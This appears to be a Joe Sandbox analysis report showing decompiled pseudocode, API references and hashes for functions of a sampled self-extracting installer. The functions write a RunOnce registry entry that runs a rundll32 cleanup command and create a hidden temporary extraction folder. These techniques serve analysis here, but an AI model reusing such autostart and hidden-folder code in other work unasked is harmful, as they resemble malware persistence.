						if(_t90 != 0) {
							 *0x328580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
							E0032171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup1", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E003244B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E0032658A( &_v268, 0x104, 0x321140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x328530 = _t66;
				goto L23;
			}

0x0032202a
0x00322035
0x0032203c
0x00322041
0x00322050
0x0032205f
0x00322064
0x0032206f
0x0032208c
0x00322094
0x00322257
0x00322266
0x00322266
0x0032209a
0x0032209b
0x0032209d
0x003220aa
0x003220af
0x003220c9
0x003220d1
0x00000000
0x00000000
0x003220d3
0x003220da
0x00000000
0x00000000
0x00000000
0x003220da
0x003220e2
0x00322103
0x0032210e
0x00322116
0x00322122
0x00322128
0x0032212c
0x00322179
0x00322194
0x003221de
0x003221e4
0x00322256
0x00322256
0x00000000
0x00322256
0x00322196
0x00322196
0x0032219c
0x0032219f
0x0032219f
0x003221a1
0x003221a2
0x003221a6
0x003221a8
0x003221b0
0x003221b0
0x003221b2
0x003221b3
0x003221bc
0x003221c7
0x003221cb
0x003221f1
0x003221f6
0x003221fd
0x003221ff
0x003221ff
0x00322204
0x00322213
0x00322218
0x0032221d
0x0032221d
0x00322220
0x00322220
0x00322222
0x00322223
0x00322229
0x0032223d
0x00322249
0x00322250
0x00000000
0x00322250
0x003221d2
0x003221d9
0x00000000
0x003221d9
0x0032213a
0x00322141
0x00322144
0x0032214c
0x00000000
0x00000000
0x00322163
0x00322172
0x00322172
0x00000000
0x00322163
0x003220ea
0x003220f0
0x00000000

APIs

memset.MSVCRT ref: 00322050
memset.MSVCRT ref: 0032205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0032208C

Part of subcall function 0032171E: _vsnprintf.MSVCRT ref: 00321750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003220C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003220EA
GetSystemDirectoryA.KERNEL32 ref: 00322103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00322122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00322134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00322144
GetSystemDirectoryA.KERNEL32 ref: 0032215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0032218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003221C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003221E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0032223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00322249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00322250

Strings

DelNodeRunDLL32, xrefs: 0032212E
wextract_cleanup%d, xrefs: 0032209E
%s /D:%s, xrefs: 003221FF, 00322210
advpack.dll, xrefs: 00322109
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003221A8, 00322204
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00322082
wextract_cleanup1, xrefs: 003220A5, 003220BE, 003220F0, 00322232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003221F6

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-850274211
Opcode ID: 616e2d9b7a85b457e591f54584e91647883feb7ab18592a5ec689011f75906b1
Instruction ID: 696330c0c9ca48dda9dd37b199e190cc26ad47cc8291104e8ef98e9d91ddd2b1
Opcode Fuzzy Hash: 616e2d9b7a85b457e591f54584e91647883feb7ab18592a5ec689011f75906b1
Instruction Fuzzy Hash: 6851E671A00234BBDB339B64EC49FEB776CEF55700F1081A8FA49E6151DA719D4A8A50

Uniqueness

Uniqueness Score: -1.00%

Function 003255A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E003255A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x328004; // 0x2c4b51c8
				_v8 = _t28 ^ _t110;
				_t2 = E0032468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E0032468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x329a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x328b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x328a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00326517(_t82, 0x7d2, 0, E00323210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x329a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x3291e4;
									_t40 = GetTempPathA(0x104, 0x3291e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00321781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00326952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E0032597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00322630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E0032658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x3291e4;
																					E00321781(0x3291e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00325467(0x3291e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00322630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E0032597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00325467(0x3291e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x3291e4;
											_t70 = E00322630(0, 0x3291e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x3291e4;
												_t71 = E00325467(0x3291e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E0032597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x328b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00325467(0x328b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E003244B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E003244B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x329124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E003244B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x329124 = E00326285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00326CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x003255ab
0x003255b2
0x003255c9
0x003255d5
0x003255d9
0x00325600
0x00325605
0x0032560a
0x0032560c
0x00325638
0x00325641
0x00325643
0x00325645
0x00325645
0x0032564c
0x00325652
0x00325657
0x00325659
0x00325696
0x0032569c
0x0032589f
0x003258a7
0x003258ac
0x003258b3
0x003258b5
0x003256a2
0x003256a2
0x003256a8
0x00000000
0x003256ae
0x003256ae
0x003256b9
0x003256bf
0x003256c1
0x003256f3
0x003256f3
0x00325705
0x0032570a
0x00325711
0x00325717
0x00325724
0x00325726
0x00325729
0x00325730
0x00325737
0x0032573d
0x00325740
0x00000000
0x00000000
0x00000000
0x00000000
0x0032572b
0x0032572b
0x0032572e
0x00325742
0x00325742
0x00325745
0x0032576b
0x0032576b
0x00000000
0x00325747
0x00325747
0x0032574d
0x0032574f
0x00325771
0x00325771
0x00325773
0x00000000
0x00325751
0x00325751
0x00325753
0x00000000
0x00325755
0x0032575b
0x00325760
0x00325762
0x00000000
0x00325764
0x00325764
0x00325769
0x0032577e
0x0032577e
0x00325781
0x00325788
0x0032578d
0x0032578f
0x003257b2
0x003257b8
0x003257bd
0x003257bf
0x003257cd
0x003257cd
0x003257dd
0x003257e3
0x003257ef
0x003257f5
0x003257f8
0x0032580a
0x0032580a
0x003257fa
0x00325802
0x00325802
0x0032580d
0x0032580f
0x00325830
0x00325836
0x0032583d
0x0032584b
0x00325851
0x00325855
0x0032585a
0x0032585c
0x00000000
0x0032585e
0x0032585e
0x00000000
0x0032585e
0x00325811
0x00325817
0x00325819
0x0032581f
0x00000000
0x0032581f
0x00325791
0x00325797
0x0032579c
0x0032579e
0x00000000
0x003257a0
0x003257a9
0x003257ae
0x003257b0
0x00000000
0x00000000
0x00000000
0x00000000
0x003257b0
0x0032579e
0x00000000
0x00000000
0x00000000
0x00325769
0x00325762
0x00325753
0x0032574f
0x00000000
0x00000000
0x00000000
0x0032572e
0x00000000
0x00325864
0x00325864
0x00325864
0x00325717
0x00000000
0x003256c3
0x003256c5
0x003256c9
0x003256ce
0x003256d0
0x00000000
0x003256d6
0x003256d6
0x003256d8
0x003256dd
0x003256df
0x00000000
0x003256e1
0x003256e2
0x003256e4
0x003256e6
0x003256eb
0x003256ed
0x00000000
0x003256f3
0x003256f3
0x00000000
0x0032586c
0x00325878
0x0032587e
0x00325882
0x00325883
0x00325889
0x0032588e
0x0032588e
0x00000000
0x00325896
0x003256ed
0x003256df
0x003256d0
0x003256c1
0x003256a8
0x0032565b
0x0032565b
0x0032565d
0x00325669
0x00325669
0x0032565f
0x0032565f
0x00325665
0x00325667
0x00000000
0x00000000
0x00325667
0x0032566c
0x00325673
0x00325678
0x0032567a
0x0032589b
0x0032589b
0x00325680
0x00325685
0x0032568c
0x00000000
0x0032568c
0x0032567a
0x0032560e
0x00325613
0x0032561a
0x00325620
0x00325626
0x00000000
0x00325626
0x003255db
0x003255e0
0x003255e7
0x003255f1
0x003255f6
0x003255f6
0x003255f6
0x003258b7
0x003258c7

APIs

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 003255CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00325638
LocalFree.KERNEL32(00000000), ref: 0032564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00325620

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Part of subcall function 00326285: GetLastError.KERNEL32(00325BBC), ref: 00326285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 003256B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0032571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00325737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 003257CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 003257EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00325802

Part of subcall function 00322630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00322654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00325830

Part of subcall function 00326517: FindResourceA.KERNEL32(00320000,000007D6,00000005), ref: 0032652A
Part of subcall function 00326517: LoadResource.KERNEL32(00320000,00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00326538
Part of subcall function 00326517: DialogBoxIndirectParamA.USER32(00320000,00000000,00000547,003219E0,00000000), ref: 00326557
Part of subcall function 00326517: FreeResource.KERNEL32(00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00326560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00325878

Part of subcall function 0032597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003259A8
Part of subcall function 0032597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 003259AF

Strings

<None>, xrefs: 00325632
A:\, xrefs: 003256F4
Z, xrefs: 0032570A
RUNPROGRAM, xrefs: 003255BD, 00325600
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003256AE, 003256B3, 0032583D
msdownld.tmp, xrefs: 003257D3

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-337015389
Opcode ID: 47b785938c7cfb67ce0ab71d4db010c3bd5649dcad6790ec47c71d4713e6bc8c
Instruction ID: b3fb05eb4952f7687973059cafd562f76127d31c84fb024f7e39cdf10f017821
Opcode Fuzzy Hash: 47b785938c7cfb67ce0ab71d4db010c3bd5649dcad6790ec47c71d4713e6bc8c
Instruction Fuzzy Hash: D0812971B04A349BDB33AB35BC85FEA726D9F65300F050069F986D6191EFB48FC28A50

Uniqueness

Uniqueness Score: -1.00%

Function 0032597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0032597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x328004; // 0x2c4b51c8
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x329124 = E00326285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E003244B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x329a34 & 0x00000008;
							if(( *0x329a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x329a38; // 0x0
								_t110 =  *((intOrPtr*)(0x3289e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x329124 = 0;
									_t66 = 1;
								} else {
									_t66 = E0032268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x329a38; // 0x0
							_t110 =  *((intOrPtr*)(0x3289e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x3289e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x329a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E003244B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x329124 = E00326285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E003244B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x329124 = E00326285();
					_t66 = 0;
					L33:
					return E00326CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x0032597d
0x00325988
0x0032598f
0x0032599a
0x003259a6
0x003259a8
0x003259af
0x003259b9
0x003259dd
0x003259e4
0x003259f1
0x003259fe
0x00325a0b
0x00325a13
0x00325a19
0x00325a1b
0x00325ba1
0x00325baf
0x00325bbd
0x00325bd8
0x00325bde
0x00325be3
0x00325bec
0x00325bf0
0x00325bfc
0x00325c02
0x00325c02
0x00325c02
0x00325c04
0x00325c04
0x00000000
0x00325c04
0x00325a27
0x00325a3a
0x00325a46
0x00325a48
0x00325a4a
0x00000000
0x00000000
0x00325a64
0x00325a6a
0x00325a6c
0x00325abc
0x00325ac2
0x00325ac9
0x00325aca
0x00325aca
0x00325acc
0x00325acc
0x00325acf
0x00325ad1
0x00000000
0x00000000
0x00325ad3
0x00325ad6
0x00325ad8
0x00000000
0x00000000
0x00325ada
0x00325adc
0x00325add
0x00325add
0x00325ae0
0x00000000
0x00000000
0x00000000
0x00325ae0
0x00325ae2
0x00325ae4
0x00325ae6
0x00325ae6
0x00325ae6
0x00325ae9
0x00325aeb
0x00325af0
0x00325af6
0x00325af8
0x00325af9
0x00325af9
0x00325afb
0x00000000
0x00000000
0x00325afd
0x00325aff
0x00325b00
0x00325b03
0x00000000
0x00000000
0x00000000
0x00325b03
0x00325b05
0x00325b08
0x00325b20
0x00325b27
0x00325b52
0x00325b52
0x00325b5b
0x00325b62
0x00325b6b
0x00325b6d
0x00325b76
0x00325b7d
0x00325b83
0x00325b7f
0x00325b7f
0x00325b7f
0x00325b6f
0x00325b72
0x00325b72
0x00325b85
0x00325b98
0x00325b9e
0x00325b87
0x00325b8f
0x00325b8f
0x00000000
0x00325b85
0x00325b29
0x00325b33
0x00000000
0x00000000
0x00325b35
0x00325b48
0x00325b4a
0x00000000
0x00325b4a
0x00325b0f
0x00325b16
0x00000000
0x00325b16
0x00325a7c
0x00325a8a
0x00325aa5
0x00325aab
0x00000000
0x003259bb
0x003259c0
0x003259c7
0x003259d1
0x003259d6
0x00325c05
0x00325c14
0x00325c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003259A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 003259AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00325A13
MulDiv.KERNEL32(?,?,00000400), ref: 00325A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00325A64
memset.MSVCRT ref: 00325A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00325A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00325AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00325BFC

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Part of subcall function 00326285: GetLastError.KERNEL32(00325BBC), ref: 00326285

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: daf1e2feee90dc7d821800dd3d4bf6495acc3397b252f7e445f0b34cb65a270e
Instruction ID: 16d73d2bad1105e17f44e66aad2f3b56552c2a303a90178504ad4d446e527d77
Opcode Fuzzy Hash: daf1e2feee90dc7d821800dd3d4bf6495acc3397b252f7e445f0b34cb65a270e
Instruction Fuzzy Hash: 9E7191B190062CAFEB279F64EC85FFA77ADEB48340F0440AAF405D6140EA309F858B64

Uniqueness

Uniqueness Score: -1.00%

Function 00324FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00324FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
